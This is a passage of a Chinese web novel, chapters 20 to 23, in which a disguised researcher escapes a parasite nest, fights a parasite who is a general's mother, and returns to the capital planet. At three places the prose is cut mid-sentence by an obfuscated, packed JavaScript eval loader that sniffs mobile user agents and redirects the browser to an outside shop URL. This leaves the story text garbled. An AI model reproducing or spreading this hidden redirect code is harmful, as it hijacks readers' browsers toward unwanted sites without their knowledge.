“对了,你叫什么名字,等我出去,不会亏待你的,这件事情做得好,我让父亲给你升值。” 她叫澄栖,就是那个能不能和原颂离婚的澄栖。 “我是寄生虫研究院的研究员,037。” “研究员,怎么送了个研究员进来?”莉丝皱眉,“算了,你先跟何希南通话吧。” 澄栖礼貌摇头,“公主,这栋大楼里所有的通讯信号都被阻断了,您身上的定位信号是军部收到的最后消息,这里所有的信息都传不出去。” “那你想办法啊!”莉丝生气。 澄栖依旧好声好气,“好的,我会想办法的,莉丝公主等我。” 说完,不顾莉丝的大喊大叫,转头就蹦回到垃圾袋人身边。 澄栖头一次觉得,这个五官模糊的垃圾袋,居然能看出来几分眉清目秀,果然,没有对比就没有伤害。 确定澄栖是它们的同类,两个垃圾袋人把她脚上的绳子也解开了,带着她一起出了房间。 路上遇见了各种各样的寄生虫,匍匐在铁栏杆上的,掉在天花板上的,包括墙外面的瓷砖,澄栖一伸手上去,摸到了脉搏。 寄生虫密度太高了,她头皮有点发麻。 垃圾袋人带着她继续往前走,前面是开阔破烂的大厅,澄栖看见硕大仪器的残骸。 东西太老,她不认识。 现在的当务之急,就是把她的长冥和认识这些东西许三光找出来。 20. 寄生虫老巢(二) 澄栖趁着垃圾袋人不注意,悄悄溜走了。 一路上遇见的寄生虫都是低等级的寄生虫,长冥和许三光应该不会在这些只有低级寄生虫的地方。 澄栖在这一层转完一圈,还是没有发现除了幽灵之外,能够沟通的中级或者高级寄生虫,她从楼上往大厅里丢了一把火。 既然找不到,那就只能让它们自己出来了。 微小的火苗落在大厅的仪器残骸上面,瞬间冒出来电光火焰,澄栖才发现,这么破烂的机器,居然还通着电,居然还能用? 寄生虫从四面八方扑过去,企图拯救这一场莫名而来的大火。 澄栖站在楼道边仔细数着在火里的中级寄生虫数量,观察它们来去的路径。 情况不太好,各个楼层出来的都有,无法锁定。 “我刚修好的仪器!哪个杀千刀的!维护个仪器有那么难吗!” 愤怒的吼声从楼下传出来。 是许三光的声音。 她说怎么这具仪器破烂成这个样子还通着电呢,原来是教授干的啊,不愧是一级研究员。 澄栖从栏杆翻下去,正好落在许三光面前,看他目眦欲裂,澄栖的态度是从来没有过的尊敬,“许教授,我终于找到你了!” 许三光看到澄栖也是吓了一跳她不是被关在房间里的吗,手脚都捆得好好的,怎么让人逃出来了? 他手里的长冥还没来得及收。 这下子仪器也不知道什么原因突然燃起来,一切计划彻底泡汤,许三光整个人的精神气都耷拉下来。 “许教授,这不是我的刀吗?您居然帮我找出来了,真是太感谢您了。” 许三光只觉得澄栖今天说话格外好听,只是自己好几天的心血被一场大火付之一炬,他再也没有心力去想澄栖今天说话为什么这么好听了。 虽然有些不舍,还是把长冥递到她手上,“拿着吧。” 仪器已经毁了,这把刀留着也没有作用了。 澄栖摸了摸长冥,没有任何损坏,可算是谢天谢地了。 那边的火已经烧得越来越旺,寄生虫哪怕用身体去填,也无济于事,然后,澄栖看见,营救火灾的队伍里,出现了人类。 那是……高级寄生虫?已经寄生在人类身上的,高级寄生虫。 她第一次见到这么活蹦乱跳的高级寄生虫。 他们和人类已经没有了任何区别,甚至会使用工具,一圈灭火器下去,火势被成功控制下来。 澄栖拉着许教授蹲在走廊角落里面,确保不会被发现。 许三光对于澄栖的动作非常不解,“藏起来干什么?” “我看到高级寄生虫了。” “那怎么?” “许教授,那是已经寄生的高级寄生虫,已经能使用人类的大脑思考问题,被他们发现,我们恐怕很难逃出去了。” 澄栖觉得有些什么地方不对劲。 “您是资历很深的研究员了,难道没有发现最高等级的寄生虫出来了?” 许三光哈哈笑出声,声音吸引了一个正提着灭火器往下走的人形身影,又是一只高级寄生虫。 澄栖已经握紧了手里的长冥,浑身肌肉绷紧。 那只人形的高级寄生虫看见蹲在角落里的两人,顿了顿,然后朝着许三光挥手,“许教授。” 澄栖:? 澄栖:! “哎,澄栖同学,你还是对寄生虫了解太少了。谁告诉你高级寄生虫就是最高等级的寄生虫了?” “上一任寄生虫研究院的院长曾经提出过假设,寄生虫寄生的根本原因是无法长期适应星际环境,必须要一个载体,而等级越高的寄生虫,能够附着的载体等级就越高。” “现在已知载体等级最高的是人类,可是寄生虫进化的速度远比人类进化速度快得多,到了那个时候,寄生虫进化的方向是,不再依靠人类载体,独立成为新生的高等级智慧体。” 这的确是她第一次听到这样的理论,澄栖沉默。 “许教授,你觉得这个理论可靠吗?” 许三光点头。 当然可靠了,这个理论里面还有他的手笔,更何况,岂止是理论,他见过的那种等级的寄生虫,还不止一个。 澄栖的脑子乱得很,她决定直接忽略掉这个问题,问许三光,“刚刚那个……和教授打招呼?” 许三光点点头,“这有什么稀奇的,人类需要研究员,寄生虫就不需要研究员了?我可是一级!” 澄栖愣了一下,放松站起来,“教授,你说这事儿闹得,您早说啊,原来研究员还有这种待遇啊,白担心这么久。” 许三光继续说,“当然不是所有研究员都有这种待遇,而且,澄栖同学,你是不是不知道,何希南将军带人进大楼里谈判,要求寄生虫放了莉丝公主和你,你现在的名声,恐怕不是太好。” 何希南进来了? “那他现在人呢。” “当然是被关起来了,这还用说,应该是在二十三楼。”许三光幸灾乐祸。 澄栖觉得,他现在的嘴脸,跟叛徒没什么两样了。 她不再说话,冷脸提着刀转头上楼,到楼上,往下面丢了个炸弹,在仪器残骸上瞬间爆开,刚刚被控制下来的火瞬间复燃,甚至更大。 这下子,想也不用想,就知道刚刚那把火是谁放的了。 毫不意外的,澄栖听到楼下气急败坏的嘶吼,“澄栖——” 楼层一层一层增加,装饰越来越新,寄生虫越来越少。 二十三楼是顶楼,澄栖在楼道间走着,路上没有遇见任何一只寄生虫,无论是低级,中级,还是高级,一只也没有遇到,墙面还有刚刚被粉刷过的味道,乳白的颜色柔和而温驯,澄栖的心一点一点沉到谷底。 通讯还是那样,一点也拨不出去,安澜的拨不通,原颂的也拨不通。 整个二十三层只有一扇门,像怪物的嘴,等着人自动走到它的嘴里。 澄栖的大脑越来越冷静,防护服下面的眼睛蜕变成完全纯白,她一脚踢开了那扇门。 从门口往里面看,只有高高的台阶之上的王座。 上面坐着一个极其貌美的女人,看起来有些无聊。 顺着她的视线扫过去,澄栖看见何希南手脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098953|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被铁链锁起来挂在空中,血从四肢缓慢向下流淌着,一滴一滴滴到下面的血池里。 下面的血池积累起来厚厚一层了,何希南别是已经死了吧! 王座上的女人看见她,眼睛亮了亮,“先到的竟然是你?” “你长了张嘴不会说话?不是我还能是你爹?当然,你可以叫我爹。” “大逆不道。”漂亮女人说。 澄栖管她说什么屁话,提着长冥就上,一刀往她身上劈,女人扬起笑容,一瞬间,人突然消失不见,只剩下轻轻淡淡一股烟。 王座被长冥劈碎了,女人站在半空中看着她,点点头,“这把刀做得不错。” “闭上嘴行不行,听见你说话就烦。” 澄栖已经习惯了每次眼睛变化时整个人无端暴躁。 她借力往上一跃,全力挥刀,女人一动不动,站在原处看着她微笑,等到长冥刚刚接触到她头上的发饰,突然又变成了一股青烟不见了。 澄栖翻身卸力,半跪在地上,找不到女人的人影。 一道声音突然从背上传来,“虽然不知道为什么是你过来,但是既然过来了,那就这样吧。” 澄栖后背一凉,一刀迅速向后劈,还是青烟。 她试图看清楚青烟里的人到底在哪里,什么也没有,眼睛开始发疼了。 澄栖被一股力量踹到了门上,长冥也滚落在地上。 女人出现了,她一只脚踩着长冥的刀柄,看着澄栖叹气,“太弱了,怎么这么弱。” 弱到她,失去了对战的兴趣。 她在澄栖面前蹲下,抬起她的下巴,左右打量,说,“这骨头长得不错。” 澄栖艰难抬起来手指,一把刀突然出现,女人抬手拦住刀。 澄栖嘴角上扬,送了她一个微笑。 澄栖手心里的血顺着刀柄流到了女人手上。 瞬间,女人脸色大变,她手上的皮肤消失,露出来洁白如玉的骨头。 女人气急,狠狠把澄栖甩出去。 澄栖爬起来,“你是幽灵?” 不对,幽灵怎么可能有这么厉害的?还是什么东西寄生在幽灵身上了? 能寄生在寄生虫身上的东西,澄栖更是闻所未闻。而且,她的这双眼睛也根本看不到女人身体里的情况。 就像是真正的人一样。 女人脸上不悦,“本来想好好叙旧的,既然你想快点去死,我也不拦着。” 女人像鬼一样,一个眨眼就到了澄栖眼前,澄栖一刀划破她的胸膛,里面只有骨头,外面这层皮,像是充满气的人皮气球。 比幽灵那一身黑色塑料袋,可高级太多了。 女人提着澄栖的头发,把人提起来。 手里一把小小的刀,在她脸上比划,好像是在考虑从哪里开刀。 真的就要命丧于此? 手里的长冥好像也感受到澄栖的悲愤,震颤起来,不受澄栖控制的,像是拥有了灵魂,带着澄栖的手,从胸前狠狠捅了女人一刀。 刀刃带着澄栖手上的血液穿过女人的身体,但她似乎没有感受到什么痛苦,长冥翻转着捅刀。 21. 寄生虫老巢(三) 突然,女人从嘴里吐出来一块骨头,眉头紧皱,终于感受到痛苦,她抓出长冥,折断成两半,连带着澄栖一起,愤怒地扔到了地上。 可是她的身体里,还有一把刀在搅动。 “安澜将军!”澄栖一把抹掉嘴边的血,看到同样立在空气里的人,热泪盈眶。 她发誓,要是能从这个破地方出去,自己以后一定好好搞研究,把什么破寄生虫全部弄死掉。 真是……太痛了。她捂着自己的胸口,每咳一声,就咳出来一团血。 安澜把刀从女人的身体里抽出去,一脚把人踹下去,这一次,终于结结实实踹在了女人的身上。 “又打算换身体了?这次看上了哪个男的?准备再给人生个孩子?然后和孩子一起都被人弄死?” 安澜一刀砍下去,女人同样化成青烟跑掉,但安澜没太在意,只是继续说,“安轻,你说你这么多年,还是没点长进,我都替你臊得慌。” 四周没有任何动静。 “安轻,要我说你还不如安安分分就这么算了,别人老婆孩子多得很,恐怕这些年,连你是谁都忘了,你就算回去又能怎么样呢,只剩一副骷髅架子,我看见都觉得恶心。” 安澜突然动了,朝着澄栖的方向劈过来,澄栖僵硬着没动,刀尖擦过她的鬓角,然后,在耳边,澄栖听见了尖锐的惨叫。 短促而高亢,不是人类能够发出来的声音。 安澜表情很不耐烦,盯着那团青烟,“谁让你动她了?” 女人在安澜的刀下化形,脖子被刺穿,但她似乎并没有什么影响,脸上的表情很受伤,双眼含泪看着安澜, “澜澜,我不是故意要离开你的,我当年太年轻了才会做错事,这么多年,你还是不能叫我一声妈妈吗?” 安澜白眼一翻,“你恶心谁呢?” 澄栖听到了惊天大瓜,下意识深吸一口气,又咳出来了更多的血。 天老爷,这是什么情况。 女人看着澄栖,眼里只有厌恶,指着她,“澜澜,杀了她,我们就能团聚的,你相信妈妈,我一定会当一个好母亲,澜澜,难道你忘了你小时候……” 话没说换,安澜的刀抽出来,一刀插进她的脑子里,继续搅了搅。 她低头,面无表情对着澄栖,“把人带着赶紧走,我打不赢她。” 澄栖立刻从地上爬起来,撑着断掉的长冥,把何希南身上的锁链砍断,背着他往外走。 女人果然发力,无论是速度还是力量,和安澜不相上下,甚至有时候更胜一筹。 澄栖看了一眼,跑得更快了。 才下一层,就看见许三光站在楼道里。 “咦?澄栖你怎么下来了?” “许教授,你过来一下,我有话跟你说。” 这一次,澄栖纯白色的眼睛里,终于看清楚,许教授的身体里,多了一颗寄生虫的心脏。 小小一颗,带着细微的血管,在他的身体里疯长。 澄栖握着断掉的长冥,往许三光身体里一捅,把那颗心脏彻底搅碎。 许三光捂着胸口,一脸震惊地看着澄栖,然后倒在地上,晕死过去。 澄栖把他也扛起来,一只手一个。 烦,还有一个莉丝。 房门被踹开,莉丝往角落里蜷缩,她以为又是那群寄生虫拉着她去放血,结果看见了浑身是血的澄栖。 “037,你怎么来了,你不会也被寄生虫寄生了吧?你不要过来!我是公主!不要杀我,我可以给你很多钱,你不要过来!” 澄栖面无表情割断她脚上的绳子,一端缠在她手上,一段缠在莉丝被捆着的手腕上。 “听着,接下来乖乖跟我走,不许叫不许闹,敢逃跑我第一个杀了你,听懂了吗?” 莉丝感受得到,面前的人是真的会杀了她,她为什么,比寄生虫还要可怕? 这份害怕,甚至一直持续到澄栖把许三光放在她背上,她也没敢再说话。 先出去,她一定会让陛下好好教训她的,!一定! 澄栖给何希南喂了营养剂,又把他手脚上的伤口包扎好,然后把人弄醒了。 还没来及说话,澄栖已经先开口,“记得出去的路吗?或者联系军部的人。” 何希南抿嘴,“直升机已经被它们销毁了,至于联系,只有一种联系方式。” 本来应该是他找到澄栖和莉丝之,登上直升机后,发动信号,启动的全面无差别销毁寄生虫老巢的计划。 澄栖听完点头,让他赶紧发信号。 “我们都会死在这里。” 澄栖翻白眼,“难道不联系,我们就不会死在这里吗?赶紧发信号把大楼炸了,我知道有一条路可以出去。” 他们应该感谢垃圾场遇见的那几头垃圾袋人,当然更应该感谢她,能把幽灵消散时的画面全部记下来。 何希南的信号弹,在天空炸开,寄生虫老巢外面的人有没有看见他们不知道,但是老巢里的寄生虫都被吸引过来了。 澄栖把手上连着莉丝的绳子绑到何希南身上,在自己手上一划,长冥身上沾满了她的血。 人菜,只能掉血条了。 澄栖觉得今天自己发的誓可能有点太多了,但她还是打算再发一条,等出去,她要把自己练成武术高手! 何希南手脚伤得都很重,能站着已经是花了莫大的力气,莉丝公主没事,但等于废物,还有一个昏死的许三光。 澄栖在前面杀得天昏地暗,一刀一只寄生虫,身上伤口里的血溅出去,沾到的寄生虫也死掉。 杀到后来,她好像真的变成了只会杀戮的机器。寄生虫不再与她正面抗衡,发现她的目的只是带着三个人类一起出去,并非真的杀光每一只寄生虫,也识趣地后退。 澄栖按照记忆里的方向,果然在墙角找到了松动的砖块。 这是垃圾场里那几头垃圾袋人逃出去的地方。 澄栖把转头扒开,正好有允许一个人通过的通道。 “赶紧出去。” 回头,军部的攻击型飞行器已经围绕在老巢上方,往下面丢导弹和驱虫剂,很多都被各种寄生虫拦下来,但这样的武器,哪怕只有一颗掉在这里,也足够引发巨大恐慌,寄生虫也在往四处逃窜。 接下来军部要做的,就是将任何一个能够逃生的地方封锁起来,彻底按死这里的全部寄生虫。 “那你呢,你要回去?” 何希南看着澄栖往回走,觉得她在发疯。 澄栖懒得和他多费口舌,“你管我去哪里,别没事找事。” 何希南拉住她的衣袖,摸到湿漉漉一手血,“赶紧出去。” 澄栖烦得“啧”一声,甩开他的袖子,“别烦我。” 澄栖往大楼里赶,四处的寄生虫疲于奔命,天上的导弹落下来,有的被厉害的寄生虫一口吞掉,当成糖豆吃,也有的掉在地上爆炸,一下把很多寄生虫炸成了尸体碎片。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不会!”澄栖自信回复,长冥在墙面拉出长长的距离,澄栖扛着安澜下坠的速度一直减慢,然后毫发无损的在一楼停下来,往下一跳,安全着陆。 人造电梯,这可比走楼梯快多了,二十三楼,等着那个女人追上来吗? 只是这次不太幸运,遇见了逃命的高级寄生虫。 “呵呵。”安澜冷笑。 “意外,我发誓是意外。” 寄生虫在澄栖面前,从人类的躯壳里一点一点把自己的身体往外扯,身体越来越大,最后变得比一半的楼还要高。 高级寄生虫,还是巨型的,命运为什么如此戏弄她澄栖! 澄栖沉默两秒,问安澜,“安澜将军,这个你能打吗?” 安澜语气幽幽,“你觉得呢?你看我现在握得住刀吗?” 巨型寄生虫将两人一起卷起来,本来是打算送到自己嘴里,但怪异的身体一碰到澄栖满身的血,痛得不得了,没办法,只能把两个人往上抛,试图让这两个人从高处掉下来摔死。 一台飞行器加快速度降低飞行高度,截住往下掉的两个人,飞行器顶打开,两个人掉进飞船里。 安澜彻底晕过去,澄栖还能艰难抬手,活着也是不容易。 不过跟死了也差不多,飞行器在这里完全是丧失导航的状态,就算真有飞行员,飞不飞得出去都两说,更不要提这些飞船是自动驾驶的模式,她现在得凭着自己浅薄的驾驶知识,开着这艘飞行器离开这个鬼地方。 不对,有驾驶人员? 澄栖抬眼,愣住,什么人不要命了? “药在急救箱里。” 是原颂的声音。 澄栖顿了顿,爬起来去掏医药箱。 22. 寄生虫老巢(四) “你为什么会过来?”给安澜和自己包扎完伤口,澄栖坐上副驾驶,看着开飞行器的原颂,不解问道。 在她的认知里,将飞行器驶入导航完全失灵的危险区域,哪怕是救人,也是一件极其没有回报率的事情,生还的可能性太低了。 更何况,来的还是原颂,何希南没有扯着他的裤子阻止他进来吗? 对于澄栖的疑问,原颂有些好笑,“夫人,你以为能把飞行器从这种鬼地方开出去的人有几个?” 他不来,等着澄栖被寄生虫啃得骨头渣子都不剩吗。 澄栖惊讶,“这么厉害?” “谢谢夸奖。”原颂顿了顿,余光扫到澄栖身上一道一道的血迹,“你也很厉害。” 澄栖叹了一口气,想起来就头疼,“现在还差点。” “嗯,那以后会变得更厉害。” “那当然了。” 毕竟像她这种研究战斗两手抓的人才很少了。 澄栖想起来那个奇怪的女人,告诉原讼,“我在二十三楼见到了一个很奇怪的寄生虫,她有人的外形,很强。” “高级?” “不知道,许教授说,寄生虫进化的最高等级,不是高级。”澄栖回忆起来许三光当时的状态,甚至不知道那句话到底是许三光说的,还是寄生在许三光体内的寄生虫说的。 “坐稳,我们绕着二十三楼转一圈。” 飞行器改变原有的行驶轨道,在高楼左侧下降。 “在那里。” 女人此时还侧躺在楼道的地上,看见天上的飞行器,抬头,好像透过玻璃看见了里面的人。 她的视线和澄栖对上,露出诡异的笑容。 从破烂皮囊里露出来的上下颌骨张开合上,她说的是,“我们会再见面的。” 然后,整个躯体化成一股青烟,失去了踪迹。 飞行器几乎在她消失的瞬间垂直上移,强烈的失重感把澄栖从那句话里拉回来。 她绝对不是高级寄生虫。 还有,她说她是安澜将军的,母亲。 回到苏格星的驻扎地,澄栖一头扎进实验室,整整四天没有出来过。 她研读完了上一任星际寄生虫研究院院长关于寄生虫进化论的全部著作,其中关于寄生虫更高等级的理论几乎是被人强行从整个体系里面抽出去了。著作翻印的时间越新,关于那一部分的内容就越少。 缺少中间的关键环节,让那个“寄生虫进化成独立存在的高等智慧生命体”的理论显得天方夜谭。 为什么中间会缺少这么多东西,理论完整版到底是怎么样的? 这件事情,还得等许三光醒过来。 澄栖又在实验室呆了两天,拿自己的血养水团玩,它们吞噬血液过后产生的创伤越来越大了,到后面都不愿意再吞噬,往实验台的角落里缩。 她叹气,果然,没有伦理的实验是不会有好结果的。 身上的防护服才拉开拉链,实验室的门就被大力敲响,澄栖只好重新套好防护服去开门。 “敲半天门,怎么才开!” 是莉丝。 澄栖手一抖,反手把门关上了。 “037,你干什么!” 澄栖觉得头痛,她在思考,自己到底是怎么两个身份都惹上莉丝的,难搞哦。 “公主,实验室不安全。” 门外的莉丝被她的反应弄得愣了片刻,生气在门上敲了两下。 “你真是太讨厌了!”莉丝跺脚,“我是听说他们说你在实验室呆了六七天,给你送吃的过来的!” 澄栖顿时觉得更加惶恐了,莉丝给她送吃的,是准备毒死她? “我不饿,谢谢啊。” “你饿,你现在必须饿!”莉丝把东西放在门口,“你这个人怎么这么讨厌!要不是你救了我,我才不管你饿没饿死呢!” 澄栖还没来得及说话,莉丝继续气冲冲开口, “东西我放门口了,要是我发现你没吃,我还是会让陛下给你好看的!” 直到二十分钟后,确定人已经离开,澄栖才敢打开实验室的门,果然在地上发现了莉丝放的,蛋糕。 这种东西苏格星驻地是不会供应的,澄栖蹲在地上,叹气,然后捂着自己的防护服,确定整张脸都被包裹得严严实实,才放心跨过那个蛋糕,找地方吃饭。 太可怕了,莉丝公主突如其来的示好,她不敢想象,就因为澄栖在寄生虫老巢里救了她? 如果有一天莉丝公主要是知道这一身防护服下面的人是澄栖,会做出什么来? 澄栖打了个寒颤,走得更快了。背后的蛋糕对她来说,不亚于怪物现世。 第二天,莉丝公主又来,拎着甜点,澄栖只好翻窗逃了。 一脚扎进原颂的房间,澄栖才觉得安全。 这个地方,就算她被莉丝公主发现,反应的重点也绝对不会在她身上。 原颂看着一进来就把门锁得死死的澄栖,脸上露出来疑惑。 澄栖态度坦然,“借住几天。” 原颂点头,“行,我过去跟何希南住。” “不太行,你也住这里。”他走了澄栖找谁平摊风险? “只有一张床,你确定?” “我打地铺,我最喜欢睡地铺了。” 原颂无语,虽然不知道澄栖态度为何如此强烈,但最终还是点头,“好。” 得到同意,澄栖觉得稳定了。 果然再稳当不过。 原颂的身份,整个驻地里只有何希南知道。对比起她的情况,莉丝想要打听到原颂这个住所,简直比登天还要难,何希南直接把她所有打听消息的渠道全部按死了。 澄栖过了好几天轻松日子,终于等到了回联邦主星的日子。 因为寄生虫老巢那一场暴动,苏格星和外界的航线被全部封锁,他们只能在驻地住下,幸好安澜还算是办了件人该办的事情,没有让他们继续去外面找寄生虫标本,而是联合驻地已有的寄生虫标本进行了理论考试。 澄栖看着成绩单上平时成绩的零分,和理论成绩的一百分,苦涩地笑了,刚好及格。 群里的消息一条接着一条,全是在吐槽理论考试难的,有些考试内容甚至在往上推三十年的文献资料里面。 有人问澄栖怎么样,澄栖发了自己的成绩,顿时群里消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我不听。”澄栖捂住耳朵,提前表明自己的态度。 安澜把她的手从耳朵上扯开,“那确实是我的母亲。” 澄栖觉得自己要完了,索性破罐子破摔。 “是吗,那还挺好看的,呵呵,怪不得能生出来安澜将军这么好看的女儿。” 安澜将军的母亲是寄生虫。不管是从人类变成寄生虫,还是本身就是寄生虫,都是一个骇人听闻的消息。 安澜看着澄栖的眼神充满古怪,实在不理解她的脑回路,只能归类为年轻人思考方式不一样,继续说, “她生前比现在那张脸还要漂亮。因为太漂亮,追求者络绎不绝,我的父亲也是其中一个,他们结婚了。结婚前几年,关系不错,还生下来一个女儿。” 那个女儿…… “对,就是我。” 安澜回忆起来,语气里夹杂着说不清楚的嘲讽和快意, “可惜好景不长,她某天,遇到了更加符合她心意的追求者,深深爱上了他。” “为了能和她的心上人一起离开,她杀掉了阻拦自己的丈夫,抛弃了年幼的女儿,跟着自己的心上人回家。她以为自己会获得幸福,结果才知道自己的心上人早就有数不清的妻妾儿女。” 23. 回主星 “日复一日的等待里,她发现自己和那些女人并没有什么区别,所以她疯了,杀了她心上人很多妻妾儿女,她以为把人都杀掉,心上人就只会爱她一个人。可是,那些女人都不是普通人,她们身后的势力错综复杂,为了平息众怒,她的心上人只能杀了她。” 澄栖无法评价这个故事,很荒谬,她心里还有某些动摇不定的猜测,很多的妻妾儿女,错综复杂的势力,怎么听,怎么像现在的联邦皇族。 她小心翼翼问,“然后呢?” “然后?人当然是没死绝了,她的心上人还爱着她,找了个偏远的地方,研究能够将人复活的方法,研究来研究去,就研究到了寄生虫身上。” 澄栖皱眉。 所以,垃圾袋人是人为研究出来的。曾经苏格星驻扎的一批人,变成了实验品,又被丢弃。 可是,那也只应该有垃圾袋人才对,并不能解释为什么苏格星会形成一个寄生虫老巢的原因。而且时间对不上。 澄栖心里的疑惑越阔越大,但好歹良心还在,没有打算挖安澜的伤疤,拍拍她的肩膀,“安澜将军,你节哀,事情都过去了。” 安澜看着澄栖离开的背影,暗自摇头,事情远远没有过去。 当年安轻会遇见她的心上人本身就是一个阴谋。 她没有死,也不需要复活,因为作为寄生虫,没有那么容易死掉。她的心上人设立实验基地研究,根本就不是为了把她复活,而是想要从她身上得到长生的方法,所以她明明本体是青烟,却被困在幽灵身上。 可是安轻不相信。苏格星聚集起来的寄生虫只是她的食物,吃了太多寄生虫,哪怕只是高级寄生虫,也获得了独立转化成人形的力量。 但那还远远不够,她要真正的能够容纳她的皮囊,去见她的心上人。 这个人选,是安澜,也可以是澄栖。 当然,最不到万不得已的时候,安轻是不会选择澄栖的,毕竟澄栖是她和她心上人好不容易生下来的孩子。安轻好歹在人类社会呆了好些年,知道顶着澄栖的皮囊和她的心上人相爱,会违背伦理。 安轻真是太蠢了,即使是到了这种时候,她居然还是相信自己的心上人没有变心。 安澜想起来她死去的老爸说,人类是很复杂的生物,他们能够变出来人类的外貌,却没有人类复杂的脑袋。 可笑,寄生虫那么强大,为什么要拥有那么弱小的人类的脑袋,碾死他们,跟碾死蚂蚁一样简单。 不过现在还不能那么做,她要亲眼看着安轻去见她的心上人,然后发疯,崩溃。 她会亲手把他们一刀串起来。 至于她可怜的妹妹,总会理解她的。澄栖,总会理解她的。 澄栖抱着长冥,脑子里越来越乱。 刚刚听到了这么要命的一个故事,恐怕是个人都难以平静下来,她现在背后有些发凉,总觉得身边不太安全。 那个女人还没有死,她最后放下那句话,会再见面,还有硕大的废弃实验基地,隐藏在安澜故事里数也数不清的谜团。澄栖真恨自己有时候太敏感,能从细碎的片段里发现线索。 本想回到属于学生的那一节船厢,几番思量,还是觉得不太安全,提着行李箱往反方向去,最后霸占了原颂的私人空间。 幸好原颂也选择了这趟飞船偷偷回去,要不然,她现在真是两眼一抹黑不知道往哪里躲了。 这个人被寄生虫寄生了都没死掉,还撞大运遇上了她,可见得是个运气很好的人,不管怎么样,待在这里总是要安心一点。 而且原颂还欠她一条命的承诺,澄栖在沙发上瘫得理所应当。 原颂问她,“出什么事了?” 澄栖问原颂,“人类和寄生虫哪个更坏?” 原颂笑了,“都不是什么好东西。” 好强的攻击力。她还以为,原颂会说出什么寄生虫罪大恶极,人类至上的话。 她点头笑嘻嘻,“我觉得你说得很对。” “期末喜提安澜将军打出来六十分高分,我都在想要不然去当寄生虫了,不用考试,得多好啊。” 原来她问的是这个“坏”,谁过得坏。 原颂有时候真的挺想把澄栖脑袋撬开,看看里面到底装的是什么东西,怎么能问出来这么离谱的问题。 原颂无奈摇头,“陛下会亲自过来接莉丝公主,为了不暴露身份,我在半途就转航了,你多保重。” “行。” 澄栖还没见过皇帝呢。 刚下飞船,看见一个白胡子老头和莉丝站在一起。 那个老头一脸严肃,活像整个世界都欠他八百万的样子。 安萨斯陛下这么老?少说也是六七十了,澄栖算了算他和莉丝公主的年龄差,怕是得四五十岁才生下的孩子。 这老头,还挺老当益壮的。 澄栖打算靠近看看,被安澜从后面拍了一巴掌,拍得她一个趔趄。 打她干嘛? “不回学校在这里看什么热闹?” 澄栖回答,“没见过陛下好奇嘛。” 安澜又想给她一巴掌,幸好澄栖反应快,一下子躲过去了。 她认真,“安澜将军,太暴力了,这样一点都不好。” “你再不快走,我还可以更暴力一点。”安澜微笑威胁。 这下子澄栖可算是更来劲了,什么高贵的身份,连看都看不得? “安澜将军。” 不知道什么时候,白胡子老头居然走过来,还叫住安澜。 两人停下脚,转身。 老头的视线从安澜身上打量到澄栖身上,在她身上多驻留了一会儿。 这张脸,总觉得什么地方有些熟悉,老头陷入思考,到底是为什么有点熟悉? 谁都不说话,气氛有些尴尬,澄栖秉承着不让话落到地上的原则,主动开口,“陛下。” 陛下,等等,陛下?! 老头顿时什么也不想了,嘴角僵硬扯出来一抹笑容,让整张脸显得更加古板,“呵呵,小孩子真会开玩笑。” 安澜总算是知道她为什么先前要说,自己没见过陛下,在这里扯着脖子看了。 敢情是把人认错了。 “这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112315|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星际寄生虫研究院现任院长,庄教授。”安澜说话里,瞪了澄栖一眼。 澄栖脸上丝毫没有认错人的尴尬,瞬间转换成热络的口吻,“院长您好您好啊,一看就是德高望重,学富五车的好院长啊。” 庄教授看着她这副脸面,没了兴趣。天底下长得像的人很多,估计是他在哪里见过长得像的人。 他转头向安澜告别,“安澜将军,我先走一步。” 莉丝跟在他身边,不太情愿走,将目光落在安澜脸上,希望得到她的帮助。 安澜忽略掉那一束求救的视线,笑容得体向庄教授告别,“庄院长慢走。” “公主,走吧,陛下在路上等你。”庄院长发现莉丝公主的迟疑,声音不复和安澜交谈时的温声细语,澄栖都能听得出有些冷淡。 莉丝跺脚,瞪了安澜一眼,还是乖乖跟走走了。 澄栖咋舌,“寄生虫研究院这么嚣张吗,明面上都不给皇室面子的?” “庄广生的女儿是安萨斯原配妻子,虽然人已经死了,好歹还是安萨斯的老丈人,更何况,这辈子都坐到研究院院长的位置上了,嚣张一点也正常。” 澄栖脚步突然顿住。 安澜余光扫到,问了一句,“怎么了?” 澄栖语气幽幽,“在想要是我能当上寄生虫研究院院长就好了。” 安澜笑出声,“那你努力哈哈哈。” 澄栖:……倒也不用这么直白,万一呢,人还不能有个梦想吗! 事实证明,人真的还是应该有点梦想的,因为没过几天,澄栖的梦想进度就往前推了一截。 因为营救莉丝公主有功,安萨斯陛下一高兴,给她在研究院那个马甲037升了两级,从六级研究员变成了四级研究员。 